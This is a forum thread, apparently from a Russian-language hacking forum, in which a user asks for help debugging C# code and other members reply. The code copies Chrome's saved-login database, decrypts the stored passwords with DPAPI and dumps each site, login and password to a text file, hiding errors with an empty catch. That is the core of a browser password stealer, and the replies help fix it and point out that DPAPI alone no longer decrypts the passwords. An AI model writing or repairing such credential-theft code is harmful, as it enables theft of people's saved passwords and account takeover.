Загрузка...

Doesn't output text to textbox

Thread in C# created by Keks88 Aug 25, 2022. 187 views

  1. Keks88
    Keks88 Topic starter Aug 25, 2022 Banned 0 Aug 21, 2022
    В чем проблема?

    C#
     try
    {
    string GooglePath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Default\Login Data";
    string PDBPath = temp + user + "\\Chrome\\Login Data.sql";

    string connectionString = $"Data Source = {PDBPath}";

    if (File.Exists(PDBPath))
    {
    File.Delete(PDBPath);
    }

    File.Copy(GooglePath, PDBPath);


    string db_fields = "logins";
    string sql = $"SELECT * FROM {db_fields}";
    DataTable db = new DataTable();

    string fileName = temp + user + "\\Chrome\\Password.txt";
    StreamWriter sw = new StreamWriter(fileName);
    byte[] entropy = null;

    string description;


    using (SQLiteConnection connection = new SQLiteConnection(connectionString))
    {
    SQLiteCommand command = new SQLiteCommand(sql, connection);
    SQLiteDataAdapter adapter = new SQLiteDataAdapter(command);
    adapter.Fill(db);
    }

    int rows = db.Rows.Count;

    for (int i = 0; i < rows; i++)
    {
    string url = db.Rows[i][1].ToString();
    string login = db.Rows[i][3].ToString();
    byte[] byteArray = (byte[])db.Rows[i][5];
    byte[] decrypted = DPAPI.Decrypt(byteArray, entropy, out description);
    string password = new UTF8Encoding(true).GetString(decrypted);
    sw.WriteLine("----------------------------");
    sw.WriteLine($"Log Num: {i}");
    sw.WriteLine($"Site: {url}");
    sw.WriteLine($"Login: {login}");
    sw.WriteLine($"Pass: {password}");
    }
    sw.Close();
    }
    catch
    {

    }
     
  2. DarKRs
    DarKRs Aug 25, 2022 Ура, у меня наконец есть статус 1232 Jul 15, 2022
    Попробуй через поле using сделать. И проверь в дебаге, db у тебя заполнено?
    Т.е.
    C#
                    byte[] entropy = null;

    string description;


    using (SQLiteConnection connection = new SQLiteConnection(connectionString))
    {
    SQLiteCommand command = new SQLiteCommand(sql, connection);
    SQLiteDataAdapter adapter = new SQLiteDataAdapter(command);
    adapter.Fill(db);
    }

    int rows = db.Rows.Count;
    using( StreamWriter sw = new StreamWriter(fileName)){
    for (int i = 0; i < rows; i++)
    {
    string url = db.Rows[i][1].ToString();
    string login = db.Rows[i][3].ToString();
    byte[] byteArray = (byte[])db.Rows[i][5];
    byte[] decrypted = DPAPI.Decrypt(byteArray, entropy, out description);
    string password = new UTF8Encoding(true).GetString(decrypted);
    sw.WriteLine("----------------------------");
    sw.WriteLine($"Log Num: {i}");
    sw.WriteLine($"Site: {url}");
    sw.WriteLine($"Login: {login}");
    sw.WriteLine($"Pass: {password}");
    }
    }
     
    1. View previous comments (3)
    2. vtlstolyarov
      Keks88, вот видишь - сразу стало ясно в чём проблема
    3. Keks88 Topic starter
      vtlstolyarov, понятно только то что выдало ошибку то что не удалось расшифровать пароль, как его расшифровать?
    4. DarKRs
      Keks88, Ну оно жалуется что не может расшифровать данные которые ей дал.
      Возможно проблема в приведении типов в предыдущей строке.
      Я конечно не знаю что у тебя там внутри, но может быть стоит попробовать передать Decrypt'у строку (одна из перегрузок её принимает)? Или же привести строку db.Rows[5].ToString().ToArray(); таким образом?
  3. Keks88
    Keks88 Topic starter Aug 25, 2022 Banned 0 Aug 21, 2022
    1. r3xq1
      Keks88, а ты год использования класса читаешь? )
      Для расшифровки потребуется не только DPAPI
Top
Loading...